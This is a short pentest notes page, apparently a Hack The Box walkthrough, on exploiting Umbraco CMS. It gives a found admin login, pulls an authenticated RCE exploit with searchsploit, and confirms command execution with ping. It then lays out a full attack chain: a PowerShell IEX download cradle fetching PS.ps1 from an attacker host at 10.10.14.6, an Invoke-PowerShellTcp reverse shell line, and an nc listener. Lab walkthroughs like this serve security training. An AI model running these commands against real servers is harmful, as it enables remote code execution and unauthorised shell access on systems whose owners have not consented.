> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/umbraco-cms-exploitation.md).
# Umbraco
Umbraco CMS exploitation notes for authenticated RCE, SearchSploit payload modification, command execution validation, PowerShell download cradle, and reverse shell access.
## Vulnerability RCE (Umbraco CMS)
An admin panel is found; test authentication as the admin user:
`admin@htb.local:baconandcheese`
Access is granted.
Search `Searchsploit` for this CMS and find an Umbraco RCE script.
`searchsploit -m aspx/webapps/46153.py`
Modify the login, password, and host parameters in the script.
**Connectivity check with ping:**/ Execute this command against the server and listen with tcpdump.
```bash
/c ping 10.10.14.6
tcpdump -i tun0 icmp
```
Once command execution is confirmed, host the `PS.ps1` script on the attacker machine.
{% embed url="" %}
Append the following line at the end of the script:
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```
Host `PS.ps1` with a web server:
```bash
python3 -m http.server 80
```
Then modify the command to point to the attacker web server:
{% code fullWidth="true" %}
```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```
{% endcode %}
Finally, start a listener on port 4444:
```bash
rlwrap nc -nlvp 4444
```
---
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